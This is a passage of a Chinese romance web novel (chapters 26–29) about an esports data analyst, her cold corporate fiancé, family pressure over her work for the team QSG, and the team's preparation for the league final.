“那是她自己甘愿折磨,我早就放人了。”梁以盏低头审阅报表,头也未抬地说。
梁氏集团高压但也高薪,新上任的董事长梁以盏虽作风冷厉严苛,并非无事生非的胡乱做派。
相反所有事情井然有序、有条不紊地开展,公司上下渐渐剥离老旧沉疴,不会出现无效加班的情况。
每个部门下班时间点略有差别,因董事办处于枢纽地位,有时候不得不加班应付临时性情况。
但那属于工作性质本身,不是以梁以盏喜好为转移。
所以梁以盏近一个月来加班到凌晨过后,董事办的员工忙完手头日常工作,除了特殊紧急情况,照常上下班,没有干耗在工位等他走出办公室。
除了新来的魏敏,是一定会守在门口。
“啧啧,真是太不懂得怜香惜玉了。”裴瑄不甚赞同,第不知道多少次感慨。
从学校到社会,梁以盏面对各色试探,无论真心假意,还是一样的冷漠拒人千里。
说到这,他既然连人都不关心,怎么会大发慈悲,突然关心起狗。
“诶,你为什么给我家狗,送了条羊绒毯啊。”裴瑄疑惑。
某天他在公司,收到梁以盏派人送来的羊绒毯。
来人说是放家里占地方,洗干净了物尽其用。
“你不会是也想养狗吧。”裴瑄猜测,一提起狗,瞬间化身慈爱老父亲,絮絮叨叨。
“诶,我跟你说,你这性格不适合养狗,养狗等于养孩子,得有爱心,有耐心,有责任感。”他很严肃地提醒。
梁以盏没应声,敲击电脑在忙。
后知后觉,裴瑄这句话,好像是在骂,梁以盏没爱心,没耐心,也没责任感。
好像去掉,裴瑄尴尬地摸了摸鼻子。
他轻咳两声,找补挽救:“那什么,我看你家那位,温柔漂亮性格很不错的样子,你要想养,可以问问她要不要一起。”
“我看很多人说,养养小宠物,可以培养感情哦。”裴瑄善意地提供方法。
“网络上一些情侣,会因为共同抚养的归属问题,舍不得分手呢。”
然而,梁以盏对此兴致不高,依旧忙于工作。
半晌,他端起咖啡休憩的间隙,才淡然抽空,回应裴瑄的建议。
“我不会也没必要,以此来拴住她。”
26.第 26 章
QSG基地训练室,趁着祁招在走廊上抽烟,祝陶浮在楼梯拐角处,冲他招了招手。
夜色里狼尾随风散乱,侧瞥向她时恣肆又不羁。
注意到她躲在墙壁后探头探脑,祁招懒洋洋地走了过去。
廊灯昏沉,手里烟还未灭,一点星火忽明忽暗,映衬得眉眼倦懒桀骜。
感冒以后人的体质格外脆弱,燃烧的丝缕烟雾,顺着凉风飘进呼吸间,祝陶浮不由自主地呛咳了两声。
指尖停顿,祁招随手将烟灭了,漫不经心地开口:“这么敏感,接你那男的不抽烟啊。”
“他不……”
夜风拂来,雨滴随风飘进走廊,吹起回忆里遗落的一页卷折。
本想说他没有,划到嘴边,忽然卡壳,祝陶浮想起来,她见过梁以盏抽烟。
中元雨夜,旧巷,死胡同,少年背抵靠着斑驳墙角瘫坐。
一条长腿随意地伸长淌在污水里,另一条则屈起半支,鸦羽长睫微垂,嘴里叼着烟,似乎是在休憩。
然而发梢凌乱绕在额前,沾染泥泞与鲜血,缓慢滑过苍白凛冽的下颌线,滴落在校服上,昭示着这里刚刚经过一场惨烈的斗争。
深色西装外套被刀口划开几道裂痕,能看到鲜红血肉翻出的痕迹。有的伤口渗血,有的凝固成暗红色,不知是血还是雨水,深深浅浅洇湿在衣服各处。
内里白衬衫,则清晰地被血液浸红,雨水晕开浓重色彩,在黑暗里冰冷而凄艳。
少年比她身高大半截,祝陶浮扶他起来的时候,只能用瘦弱肩膀撑起他的重量,手臂环住他的腰间,艰难拖着他,深一脚浅一脚地在青石板路面,往前挪动。
这一带老街区路灯影影绰绰,大半坏损,间隔很远才有一盏老旧模糊地亮着微光。
狭窄的巷子里,唯有两边飘着五颜六色烟火气的人家,从居民楼窗户里透出些许白炽灯光,聊胜于无地照亮雨中搀扶倚靠在一起的身影。
因祝陶浮支撑着他身体,少年下颌不可避免地抵触她颈窝,挺直鼻尖几乎蹭擦着长发下瓷白干净的脸颊。
滚烫呼吸和袅袅烟雾,夹杂着潮湿青苔的气息,混乱地萦绕在她眉间发梢,祝陶浮不适蹙眉,本能地偏过头咳嗽。
手上脱力,没有扶稳身侧人,眼见着就要往前摔倒。
胳膊一揽圈住她不堪一握的细腰,少年单手将祝陶浮往怀里带,自己受伤的后背则撞在粗粝砖墙上。
他闷哼一声,叼咬着的烟随之滚落,一点星火很快熄灭在脏污之中。
被禁锢在他怀里,侧脸贴靠着他湿冷衬衣,祝陶浮听见他胸腔里一下一下的心跳,余温灼烫。
刹那间她抬起眼眸,与他低垂视线隔空相撞。
光线昏暗,沉灰眼尾坠着淤青,死寂幽深的寒潭泛不起一丝涟漪。
偏平日里冷淡唇色,在大雨中任殷红鲜血浸染,异样诡异红艳。
正逢七月十五,模样恰似黑夜里凄厉湿冷的诱惑艳鬼,趁着鬼门大开,坦坦荡荡来人间索命。
后来,祝陶浮没怎么见过他抽烟。
现在也是,可能只是自己没有瞧见。
有时候她能感受到梁以盏凛冽气息下,些许烟酒味道。
毕竟梁氏集团公务繁多,应酬来往,不可能一点都不沾,同在一个包厢里其他人吞云吐雾,总会连带附着。
“思考这么久,不会连他抽烟习惯,都不知道吧。”
调笑声音将她从回忆里拖回现实,祝陶浮卷翘长睫颤了颤,选择性沉默。
特地背了一个大容量单肩包,她从里面拿出来一方礼袋。
礼袋印有奢侈logo,精美得散发着同品牌的香氛气味,与刚才盛放它的朴素单肩包,格格不入。
在祝陶浮把包装完好的新羊绒毯,递给祁招的时候,还没来得及拿出自己编排好的一套说辞,对方看了一眼,径直接过后拎在手里,长腿一迈前往垃圾桶的方向。
顿感不妙,祝陶浮迅速跟了上去。
“这是全新的,你不会是要丢了吧。”
对方并未回头,而是伸出手,悬停在走廊垃圾桶。
都什么乱扔垃圾的坏毛病!
眼疾手快接住袋子末端,抢救到手祝陶浮长舒一口气,抬眸看向他,目光里流露出深深的谴责:“知道你有钱,也不要浪费好吗。”
像是听见什么好笑的事情,祁招唇角扯出讥讽的弧度,眼尾懒懒耷拉:“别说我啊,你那位先扔了我的,礼尚往来。”
祝陶浮:?
原本指责浪费的坚定态度,在听见祁招这话,祝陶浮心虚地别过眼。
见她一语不发,祁招懒得兜圈子,抬脚转身便走。
“诶,等等。”祝陶浮小跑跟上他,挽救式地补充:“……没有扔,物尽其用了。”
虽然她也不知道梁以盏拿绒毯去做什么,但他既然说了放在别的地方,肯定是没有丢掉的。
含糊其辞,祝陶浮如是言。
祁招停下来,懒散视线在她脸上逡巡。
不知道他信没信,终归没有再扔进垃圾桶。
“既然如此,我也好好利用。”
好好二字,祁招尾音重读,一听就不是什么好事。
--
一周训练准备时间,QSG即将再次面对从下杀到上的队伍。
此前交手,QSG赢多输少,哪怕现在处于败者组,不会再有复活甲,队员们对这场比赛,不是特别担忧。
大家担心的点,更多在于即使胜利,来到决赛,依旧会面对TKL。
而且是打背靠背的战役,不到24小时的第二天,再进行一场bo5,这对于脑力与体力,是极大的考验。
高强度的赛事,令赛训组需要做好万全准备,既要应对败者组的bp,尽量不让对方打出QSG的隐藏策略,避免透露过多内容给TKL。
同时还必须吸取上次的经验,面对TKL密不透风的防守体系,打开一线攻击的生路。
旗鼓相当的队伍,想靠哪一方实力碾压,在如今长线运营的版本节奏里,不太现实。
bo5的第五把,大概率是要战至终章。
战归战,但大家都不愿重蹈覆辙
因此在这一周里,从赛训到队员本身,都逼着整个队伍去磨合新体系。
老将好与不好的弊端,在此刻显现。
多年磋磨导致bp和对线选择,成为肌肉记忆,练新英雄、适应新体系,如同断
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尾求生。
与其他队伍进行的训练赛,每次都只会打前十五分钟,QSG此前基本都是碾压态势。
但在这几天约定的队伍,无论是强队还是弱队,QSG失去往日里的统治力,可以说节节溃败。
网络上通过一些人脉、拿到内部消息的博主们,开始大肆鼓吹TKL会拿冠军,理由就是训练赛的表现。
“闹麻了,QSG本来就名不副实,全靠明星选手撑着,真到硬碰硬的时候,就是纸老虎。”
“早就说QSG在走下坡路,明眼人都能看出来,只有粉丝还在捂嘴。”
“不是哥们,真有人信营销号,我还说我也有人脉,我爷爷也打职业有一手消息,骗骗流量赚赚钱呗。”
“笑死,还有人把训练赛当真,多少队伍训练赛乱杀,正式比赛直接打回原形,训练赛有用的话,直接颁发冠军得了。”
……
网络舆论众说纷纭,大部分看好TKL会是国内联赛的总冠军。
领队让大家这几天少刷手机少冲浪,免得影响比赛心情。
可这的确是不得不面对的事实,队伍要想战胜TKL,只能不断一遍又一遍地锻造新刀。
训练室上空凝结着一层乌云,如同近日连绵的雨,负战绩的潮闷笼罩在每一个人的心头。
由于感冒,祝陶浮尽量压缩时间,在白天将数据资料全部整理齐全,晚上下班的时间稍稍提前至十二点。
再怎么提前,等她来到一楼,基地前台招待区域,依旧空无一人。
不过这一次,虽然没有看见人,但是碰到了猫。
QSG养了几只流浪猫,偌大基地是他们的后花园,各个游戏分部随意进出。
往常祝陶浮下班的时候,猫猫们已经进入睡梦中。
除了第一次来基地,祝陶浮有时间撸了一只睡懒觉的小猫,其余时候一直泡在训练室。
难得撞见一只小猫,她蹲下身子,摸了摸它的小脑袋,和它互动玩了一会儿。
一楼有猫猫们的专属休息室,祝陶浮玩着玩着,跟随小猫一起进去。
猫猫见此人类漂亮友好,便想向她展示自己的新猫窝。
然而方才还对自己展露温柔笑意的人类,却在看到自己猫窝的新垫子以后,瞪圆了眼睛,简直跟本猫圆溜溜的眼珠有得一拼。
紧接着,她变了脸色,不再同自己快乐玩耍。
猫猫:……
气得狠狠挠了挠爪子下面的新羊绒毯。
濛濛细雨,依旧是梁以盏开了辆低调的黑色suv,来门口接她下班。
上车以后,祝陶浮脑子里始终回想着,休息室里,那条印有品牌logo的羊绒毯,和他还给祁招的一模一样。
原来这就是所谓的,“好好利用”。
那,梁以盏的呢?
不会也是……
不由自主地,目光悄悄侧瞥向当事人。
闲散撩起眼皮,梁以盏回望过去,先行平静地说。
“你在心虚。”
明明应该是他心里发怵才对,祝陶浮不明所以:“我为什么要心虚?”
梁以盏淡淡道:“因为,你有别的猫。”
祝陶浮:……?
27.第 27 章
夜色里车辆缓缓行驶,窗外细雨朦胧,雨水晕湿城市,在霓虹灯光里变得模糊幽远,于方寸车内的人们,会生出一种彼此之间距离更近的错觉。
差点脱口而出,你是狗鼻子吗,这都能闻出来。
但祝陶浮思索片刻,还是忍住了,怕对方觉得自己是在骂他。
“是不是想说,我挺狗的。”梁以盏神色平淡,右手修长指节,松懒地扶在方向盘上。
红灯亮起,他左边胳膊肘支在玻璃窗沿,眼尾撩起,漫不经心地看向副驾座位。
“……没有。”慢慢别开眼神,祝陶浮强装镇定,目光望进车前灯照亮的雨雾。
宽敞车厢陷入短暂安静,指尖虚搭在皮革盘辐,有一搭没一搭地轻轻点敲,梁以盏闲闲抛了一问。
“想养吗。”
正盯着雨里的黯淡街市,发呆放空,听到身侧人的询问,祝陶浮回过神,说:“养什么?猫猫狗狗吗?”
没什么情绪,梁以盏淡应了声。
“不想。”答得很干脆,她没有一丝犹豫。
车内寂冷的空气,似乎松动了一瞬,开始缓缓流动。
侧瞥眼尾,他状似不经意打听缘由。
“不想还去招猫逗狗。”
以前高中,两人租住在一起,附近有居民早晚遛狗,祝陶浮碰上,总会半蹲着身子,摸摸小狗脑袋。
现在基地养了猫,祝陶浮依旧会去跟它们玩玩。
看样子,绝非不喜欢,但她并不想养。
微不可查叹了声气,祝陶浮盯着窗外高楼大厦的雨中倒影,声音很轻:“……你说的那是短暂玩玩,我不是很擅长去长时间抚养。”
自己都活得乱七八糟,她实在没有精力,再去经营长期关系,付出爱与时间,留下羁绊。
没什么所谓地嗯道,梁以盏语气很平静:“明白了,你就是想爽完不负责。”
祝陶浮:……
说到养小猫小狗,其实祝峥曾提到过,让她趁着来洲安实习的这段时间,和梁以盏一起养一只小宠物。
自从十八岁签下订婚协议,两人碰面机会寥寥无几。
私下里没有任何交集,表面上的同框,仅仅是豪门上层圈内商业往来。
直到祝陶浮研二实习,梁以盏从国外分公司,返回集团总部,他们的目的地皆是洲安,两条平行线才开始相交。
起初,祝峥表达得更为直接,提出让祝陶浮生个孩子,来留住梁以盏。
对于大多数事情,祝陶浮态度向来温和平静。
然而在听到祝峥的想法,她艳丽眉色间罕见地凝结冰霜。
“你太没有责任心了,祝峥。”
“责任心?”像是听到了什么天大的笑话,他玩味地重复祝陶浮所说出的这个词语,唇角勾起一抹讥诮弧度。
“要是有这个东西,哪里会有我们两。”祝峥似笑非笑,眼底却没有一丝温度。
同父异母的兄妹,都是父亲在外乱搞出来的产物,他的话刺耳难听,又诚然是事实。
“你还得感谢,他们为人父母的,没有责任心。”祝峥满不在乎道。
祝峥约她在洲安一家高空餐厅,可以俯瞰洲安整个繁华地段。
云端之上,金色阳光灿烂绚丽,祝陶浮却仿佛一脚踏空,坠入万丈冰原。
“慎言,我母亲并非你口中所言之人,她善良而温柔,没有对不起任何人。”抬起眼眸望向对面,一字一顿地说。
往日里祝峥时不时带祝陶浮出来吃饭,让她见见世面,免得参加豪门圈内聚会,跟没吃过饭似的。
然而无论是什么,她都吃得很香很干净,祝峥觉得白教了。
在祝陶浮说这话的时候,祝峥发现她面前瓷盘里的黑松露慕斯,一动未动,他明了是真的动气了。
眉眼微挑,祝峥举起红酒杯,冲她歉意地笑了笑:“我的错,死者为大,我只是在说我自己的父母。”
“哦对了,也是你的父亲。”他懒洋洋地补充,祝陶浮依然默不作声。
慢悠悠饮着红酒,祝峥继续往下:“话说回来,你跟梁以盏的情况,和祝家人不一样。”
“虽然人心易变,这几年你们没接触了,但总归当初多少有几分情意在的,你不愿意养,生了丢给梁以盏呗。”
闻言,祝陶浮抬起眼皮,平静看向对面。
他这个妹妹生得极美,祝峥一直知道,不然祝家不会一直琢磨着怎么讲她卖个好价钱,以至于迟迟没动手,导致下手的时候,等来了梁以盏。
在此之前,祝峥一直以为,她容貌艳盛,却并不给人咄咄逼人之感。
俗话说眼睛是心灵的窗户,祝陶浮的眼睛乌黑圆亮,像是一弯清溪,天空白云干净地落下倒影。
可此时,他仔细瞧过去,才发现里面溅不起丝毫光亮,不是春日里缓缓流动的溪水,而是冬天外凝寒彻骨的深潭,千年冰封、无波无澜。
有点像……梁以盏那双沉灰眼眸给人的感觉。
漠然望向他人时,如同万丈深渊、隔着缥缈云烟。
“好好好,我不说了,我打住。”知道再继续这个话题,纯属自讨没趣,祝峥无奈地长叹一口气,随意闲聊。
“那不养孩子,你可以养个小宠物在家啊,免得你两这么多年过去,没什么话题可谈。”
越说越觉得有道理,对面沉默,祝峥自顾自地分析:“你想啊,你两在一起能有话说,你两分开还能借着小东西的由头,彼此之间你来我往,多好。”
有时候是懒得计较,祝陶浮并非听不明白他的潜台词。
差不多就跟即使父母离婚了、孩子归属问题,总会藕断丝连牵扯在一起。
半晌,祝陶浮垂下眼睑,只淡淡道:“我不会和你一样漠视生命,也不会创造下一个悲剧。”
一时间,向来油腔滑调,祝峥放下红酒杯,望向高空外,选择闭口不谈,英俊眉目间薄凉而沉郁。
过了会儿,他再次将视线转向屋内,看着祝陶浮时,恢复如常笑意。
“第一次觉得没带你白吃这顿饭,来这么高的地方,还能听到你上高度的言论。”
那时候,祝峥结尾说的话,半真半假。
此刻雨天车内,祝陶浮看向身旁凛冽冷艳的侧颜,觉得梁以盏的态度,好像是真的,不太喜欢这些外来的生命。
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一周的时间很快接近尾声,败者组决赛的倒数第二天,往日里嘻嘻哈哈的训练室,沉闷地唯余键盘
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鼠标声响。
临到阵前,新阵容体系依然磨合得很痛苦,连不抽烟的辅助,都忍不住在走廊里通过烟瘾发泄情绪压力。
嫌人多拥挤,祁招独自去一楼空地。
“诶,祁队,正好有人找你。”前台叫住祁招。
“她说她在基地外停车场等你。”
训练室内,祝陶浮正在尽力寻求,对于TKL第五局的最优解bp。
后天的败者组没什么需要特别准备,紧接着背靠背的TKL才是压轴重头戏。
而与他们交手,极大概率会打到第五把,祝陶浮思考的就是第五局游戏内容。
手机铃响,来电显示,祝峥。
第一时间没有接听,祝陶浮从电竞椅里起身往外走。
二楼走廊队员们在抽烟,她打算下楼找个僻静地点,给他回拨电话。
连日暴雨,今天雨势转小,落地窗玻璃上,水珠缓缓流动。
拨打祝峥的电话,对面一阵忙音,冗长铃声结束也并未接通。
正当她准备进行第二次回拨,漫无目的地看向窗外,发现基地马路对面的停车场,祁招出现在那里。
他身边还有一个女生,长相虽不是一眼惊艳的类型,整体穿搭氛围堆砌出美女感。
下一秒--
说着什么的两人,停下讨论,女生忽然伸出双臂,挂在祁招脖子上,踮着脚去亲吻。
夜色里,身影交叠在一起。
祝陶浮:……
默默换了个角落蹲,电话那头刚好接起。
“怎么了,又有什么事。”她问。
之前同他讲,接下来将近一个月的时间里,不要打扰自己,现在这个电话打得有些莫名。
对方没有立刻回应,祝陶浮以为是信号不好,就想挂断重新通话。
粗重地喘了声气,祝峥哑着嗓音。
“我长话短说,你不是在忙论文,你在QSG基地。”
语气肯定,没有一丝犹疑。
原计划隐瞒到离开洲安的时候,没想到祝峥赶在决赛前两天知晓。
祝陶浮语气如常,平静说:“找我就是为这事儿。”
“对。”祝峥答得利落干脆。
“你立刻断掉跟QSG的往来,离开那里。”
角落安静无声,仿佛连窗上的水珠,静止流动。
默了片刻,祝陶浮说:“你还是跟以前一样,说话做事不怎么负责。”
“既然你知道我在基地,就也知晓我在队伍里当分析师,在比赛结束之前,我不可能离开。”
对面冷哼一声,祝峥不容置疑:“懒得跟你兜圈子,实话实说了吧,祁招是祁家的少爷,这点在你们电竞圈不算新鲜事。”
现在QSG大部分投资几乎出自于祁家,他是少爷这回事大家有目共睹。
“祁家既然出了一个任性的不务正业,自然是上面有人顶着,那个人就是祁招的长兄,两人同为胞胎,关系尚且不错。”
“但是,他的长兄,对于梁氏集团的战队,是站在梁靖明和梁煜那边。”
利害分明,答案揭晓,祁招意味深长地说。
“你整天在梁以盏的对立面身边晃悠,岂不是打他的脸。”
28.第 28 章
自觉已经将利害关系陈列清晰,孰轻孰重分晓一目了然。
然而回应祝峥的,是他意料之外的答案。
“梁以盏是梁以盏,我是我,你说的那些与我无关。”语气是一如既往地温和,态度却坚定挑明,祝陶浮再次重复了一遍。
“比赛结束之前,我不会离开。”
顺带,反客为主,还敲打上祝峥。
“你不要无事生非。”
一个破游戏而已,竟然还值得令她同自己较真顶嘴,祝峥简直气笑:“你……”
径直打断,终止话题,祝陶浮道果断挂掉电话。
“无法无天了真是,还敢和祁家人纠缠在一块儿。”愤怒地将手机丢在床上,祝峥扶着额角。
原本是约了女伴共度良宵,被祝陶浮这通电话堵得没了心思。
披上衣服,祝峥离开酒店回公司加班。
—
“祁招,你好狠的心,竟然现在跟我提分手!”
黑夜里雨雾朦胧,若不仔细观察,以为露天停车场距离极近的二人,是在暧昧依偎,而非离别分手。
在女生快要吻上他的时候,祁招别过了脸。
没有放弃,女生环住他颈侧的手拢得更紧,脸颊贴靠着他肩膀,继续追着他索吻,祁招却一把推开了他。
“祁招,你什么意思。”乔芷晴从小娇生惯养,享受家人朋友和粉丝们的追捧,却在祁招这里碰壁遇冷。
“没什么意思。”相较于女生嗔怒撒娇,祁招垂手而立,神情颇为冷淡。
“不想玩了,你走吧。”话语简单干脆,祁招单刀直入,挑明了意思。
精致妆容忽然出现一丝裂痕,乔芷晴笑容有些僵硬:“不想玩了?怎么分手啊?”
懒散垂着眼睑,祁招摇了摇头。
心头一喜,正欲开口说些什么,对面的男人先一步出声。
“我们又没谈恋爱,分哪门子的手。”祁招微一挑眉,眼神是惯常的慵懒洒脱,言语犹如宣判般的冷漠无情。
“你情我愿,玩玩而已。”
“你……”饶是她再装傻充愣,也无法再不舍地粘着他。
祁招此言一出,乔芷晴甜甜的笑容变得泛酸苦涩,本来就是被人捧在手心,哪有死皮赖脸倒追的道理。
“你好狠的心,竟然现在跟我提分手!”
“不然呢,我说过,比赛期间,不要来找我。”轻嗤了声,祁招懒散瞥向她,眼里半分笑意也无。
要不是祁招模样英俊得极具冲击力,就凭他这气死人不偿命的嘴,她早就甩包走人。
奈何他就是长得好看,即使态度冷冰冰的,乔芷晴还是忍不住心念一动。
细雨缠绵凝落在他料峭疏离的眉眼间,水珠顺着高挺鼻尖滴落,凛冽而性感。
她无端联想起祁招在床上时,绷直的背肌,和缠绵着欲望的汗水,仿佛他滚烫喘息就在耳边。
眼神如同此刻,即使浸在粘稠情欲里,依然清醒锋利。
不由自主地放轻了声线,不似方才尖锐质问,乔芷晴稍微柔和了笑容,带着点委屈,娇软吐词。
“我也不是故意的,只是看你比赛输了,怕你心情不好,所以来找你。”说着,她上前一步,手心贴附在他臂膀。
“下次不会这样了嘛。”柔声细语,楚楚可怜,想靠服软撒娇来挽回男人。
手臂青筋凸起线条分明,贲张着性感令她心猿意马。
然而回应她的,是祁招毫不留情挥手撒开,转身就走。
徒留乔芷晴在雨里踉跄几步,差点摔在地上。
变故陡然间发生,令本就压抑着怒火的她,一下子被点燃。
从小到大,谁敢如此甩她角色,她不甘心地追了上去,高跟鞋叩在地面,寂静雨夜里响动清脆刺耳。
“我不信,你突然变脸,是不是有别的女人了。”踩着高跟小跑到他身前,美甲拽住他手腕,用力地快要嵌进肉里。
面对她略带歇斯底里的质问,祁招依旧是那副漫不经心、没把任何事情放在眼里的神情。
眼神懒散扫过,唇角勾起嘲讽笑意,充满着事不关己的疏离。
“我对谁都这样。”说着,他冷漠扳开攥紧她腕部的手指,头也不回地往前走。
雨水淋湿女生精美妆容,搭理过的卷发在雨中湿漉漉地贴着头皮,透出几分狼狈。
望着男人毫不留恋的离去背影,乔芷晴不甘心地尖叫道:“你就不怕,我把咱两的事抖露出去?!”
脚步未顿,祁招看也未看,倦冷声音散在风里。
“随你。”
刹那间,她一直支撑着的身体,颓唐地垮了下来。
等祁招走远,旁边停靠的一辆保姆车,迅速下来两名助理。
一名帮忙用毛巾擦拭她发丝,另一名则赶紧将外套披在她肩膀。
“芷晴小姐,咱们回去吧,再待下去,免得被狗仔拍到。”助理小声提醒。
一个是走清纯路线上升期的小花,一个是绯闻满天无所谓的电竞选手。
到底谁会在意,答案一目了然。
—
败者组决赛,悄然而至。
进一步是争抢总决赛冠军,退一掉入冒泡赛,去争抢世界名额。
两边队伍都不希望去打冒泡赛,败者组决赛卯足劲头去冲锋。
双方上次交手是在季后赛,以QSG三比一胜利结束。
这一次,经全员有意调整,既是试水新体系,也是为了在总决赛藏起bp战术,不让TKL提前识破过多招数,QSG打得极为惨烈艰难,死死守住底牌英雄。
最终QSG三比二险胜,但外界预测TKL赢下冠军的胜率,从百分之六十五,飙升至九十。
“辛苦了辛苦了,大家今晚早点休息,好好睡一觉。”出差回来的第一件事,经理前往训练室,给队员们加油打气。
“听领队讲,这一周大家几乎通宵rank,咱们的分析师小祝还累得感冒了,真的不容易啊。”
经理分发从外地带回来的特产,到祝陶浮这里,除了他们都有的东西,额外送了她一个小礼盒。
“谢谢小祝,劳烦你给这群老顽固们整新活儿,这是美容养颜的,对小女生有好处。”
从工位上起身,祝陶浮双手接过:“谢谢经理。”
“看看,人家小姑娘多懂礼貌,哪像你们这群大老
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爷们,瘫坐着没个正形!”经理让她不用这么客气,又笑骂队员们。
决赛前一天,本该紧张不安的氛围,在经理一通调和之下,互相嬉戏打闹,开起玩笑明晚吃什么。
“来来来,我替chess做主,明晚无论输赢,他请客,大伙儿吃的尽兴,玩的开心!”领队大方发话,任由祁招出血。
被点到的主人公懒散靠在电竞桌旁,嗤笑着说:“问我过意见吗?”
右手边的中单,伸出胳膊揽过他肩膀,假模假样地征求:“那请问祁队,意下何如?”
轻啧了声,嫌弃地挥退他勾肩搭背,祁招施施然道:“准了。”
“呜呼~”
“祁队万岁!”
……
欢呼声此起彼伏,教练站出来唱红脸,给大家过高超载的情绪降温。
“行了行了,牢记不要半场开香槟,现在来进行最后的复盘,然后早点休息,不要熬夜!”
实际上,面对TKL的挑战,凶多吉少,全员心里丝毫没有放松地懈怠,有的只是潜藏在玩闹之下的全力以赴。
有点像,上学期间,大考之前的头一天夜晚。
大学期末备考都是各学各的,有的在自习室,有的在图书馆。
在洲安上私立高中的时候,祝陶浮学得又急又赶,根本没有班级测验一说。
时间回溯至少七八年前,在栖梧上学期间,才有所谓的考前氛围。
高中以前,在郊区城乡结合处的教育资源落后,班级的同学们普遍成绩平平,大多混日子等着以后在本地或者外地进厂打工。
老师们教书育人的工作没什么成就感,考前放任大家自由复习。
有的临时抱佛脚,有的哄笑打闹,总体上还算和谐,彼此之间相安无事度过考前最后的冲刺。
后来考进省重点,进了所谓的重点班,高一大家都全力以赴,考前挑灯夜战、争分夺秒。
还没来得及怎么感受这种大考前的凝重氛围,祝家将她接回洲安,强行塞进了私立高中的高三班,以期送出国水学历。
在QSG感受到大战前,轻松而不失紧张的备赛,祝陶浮觉得挺新鲜有趣。
连日阴雨总有转晴的一天,祝陶浮今晚下班早,慢悠悠散步回去。
街道尽头拐角处,路灯下依然懒散站着清冷身影,单手而立拨弄手机。
灯光昏黄勾勒他深挺眉眼和线条锋锐的下颌,睫羽轻扫暗影,暖色光晕朦胧柔和了冷冽沉郁气息。
“看你心情不错,明天势在必得。”见她过来,梁以盏收起手机,随意闲聊。
祝陶浮笑了下,抬眸看向身侧人。
“可是百分之九十的观众,都认为我们会输,你觉得呢?”
无所谓地嗯了句,梁以盏懒洋洋道:“我认为会赢。”
“原来你是那少数支持QSG的百分之十。”祝陶浮感慨说。
“不是。”梁以盏声线凉薄,半垂眼睑神情漠不关心。
“与QSG无关。”
祝陶浮怔了怔,疑惑问:“那这是……”
眼睑掀起,梁以盏好整以暇,懒散垂睨:“你在哪里,赢面就在哪边。”
29.第 29 章
lpl总决赛,TKL对阵QSG,大战在即,一触即发。
当天许若歆连发n条消息,让祝陶浮别紧张。
望着微信聊天框里一连串表情包,祝陶浮回了个【擦汗.GIF】。
“好像是你,比较紧张。”她实话实说。
“这能不紧张,一边是有好感的队伍,一边是我好朋友,太魔幻现实了!!!”许若歆。
“反正,QSG必须赢。”
说着,她发出预测赛果的截图。
上面赫然显示,许若歆将票,投给了QSG。
“等你好消息,到时候咱两约饭走起!”
祝陶浮:“【猫猫击掌.gif】”
决赛当天涉及到的流程比平时复杂,还需要简单地彩排走位。
与TKL的比拼,是一场充满艰难险阻的战斗,昨晚经理叮嘱大家早睡,身体刚打完败决的肌肉记忆,队员们几乎整夜失眠。
即使祝陶浮没有在基地,躺在床上翻来覆去直到天明。
训练室里,瞅着彼此的黑眼圈,好笑中透露着一丝辛酸。
“辛苦了大半年,大伙儿放开手脚,不要畏畏缩缩,去闯去打去拼!”
经理来到屋内,进行最后的动员。
“小祝,如果想看的话,可以一起去。”
经理走到她座位旁边,征求意见。
正在将bp的笔记本整理完整,交给教练,祝陶浮摇了摇:“谢谢经理,我还是就呆在基地,等你们的好消息。”
平时可以在电脑建模分析,但上台的时候,教练组只能携带纸质资料。
接过她手里密密麻麻的笔记和稿纸,主、副教练对视一眼,心里突然有些不是滋味。
将近一个月的努力,不是敷衍噱头,不是装模作样,而是实打实地每天泡在训练室,最后一个离开。
人心肉长,主教练道:“小祝一起去吧。”
副教练点头:“最后一场最关键的比赛,我们是一个team,一个都能落下。”
知道他们是好意,祝陶浮笑笑,委婉拒绝:“算了,从车上下来万一被拍到,决赛多出来这么个人,外界会感到莫名其妙,恐怕不太好。”
电竞有些时候像是一座建筑奇特的象牙塔,里面的人厮杀残酷,你死我活,却又异样执拗不知变通。
队员们没有听出她的潜台词,顺着她的表面意思,帮她出主意分析。
“这有什么,那你戴个口罩,别人认不出来的。”辅助听完,认真给出建议。
“就是,再加顶帽子,经理你不是刚谈了一家帽子周边厂,bless长得漂亮,刚好戴着宣传一下嘛。”中路附和,继续给主意添砖加瓦。
“唉人家又带口罩又带帽子的,能看得出啥效果?”打野不解,听得一头雾水。
“你懂个毛线,真正的美女怎么折腾都能看出来是美女,就跟咱队的门面一样,是吧,chess?”一拍打野脑袋,上单笑他榆木脑壳,随即将目光眺向另一边。
不置可否,祁招没有对上单的调侃过多评价,长腿倚靠着电竞桌,居高临下,望向后方工位上的艳丽笑靥。
“遮遮掩掩算什么事,要出现就得堂堂正正。”狼尾散漫不羁,他微眯着眼,眸光锋锐似要洞穿人心。
察觉到打量自己的目光,若有实质压锁过来,祝陶浮微微侧眸,平静回视。
半晌,先发出挑衅信号的人,淡嗤了一下,半垂眼睫懒散发话。
“所以今天不想就算了,不过,会有那一天的。”话音一转,祁招侵略性的眼神收了些许锋芒,懒洋洋地像在谈论久雨之后晴天的阳光。
“而且,不远。”他说。
既然当事人三推四阻,祁招意下随她,其余人员便不再强求。
“希望这是国内最后一场比赛,不要再打了啊。”监督笑言,因为如果输了,过一个星期,还要继续备战冒泡赛。
今天赢下这一场,将会直接晋级世界赛。
“那肯定的,一定会胜利,然后好好休息放个假!”经理微笑,招呼训练室的大伙,集中到屋子中前方的空地处。
伸出右手手背,垫在最底,左手冲着众人挥动,提高声音说:“现在,我们全员在此加油。”
无论强队还是弱队,在比赛以前,几乎会有一个共同的习惯,就是一起加油鼓励。
但都是在登上舞台前才进行,而非像现在还没从基地离开,提前开始这项幼稚却又充满希望的仪式。
经理率先发力,赛训组紧随其后,从监督到教练,挨个伸出右手,往上叠垒。
接着是队员们,一个个依次伸手叠加。
慢悠悠迈着步子,祁招神情写满了无聊笑意,却还是一伸胳膊,将手搭了上去。
“过来。”下颌扬了扬,他朝着后方勾起唇角。
从显示器旁边探头,眨了眨眼睛,祝陶浮迷惑询问:“在叫我吗?”
经理哈哈两声,点头附和:“那当然,是我们的小祝,咱一个team,你不到现场,只好把现场搬过来咯。”
愣怔片刻,祝陶浮才慢吞吞站起来:“这不太好……”
“没什么不好,快来吧。”教练和蔼一笑,催促她。
在众人期待眼神之中,祝陶浮犹豫着向他们走过去。
她看了眼祁招,对方难得敛起戏谑神色,野性难驯的眉眼间,流露平和淡然:“放上去吧。”
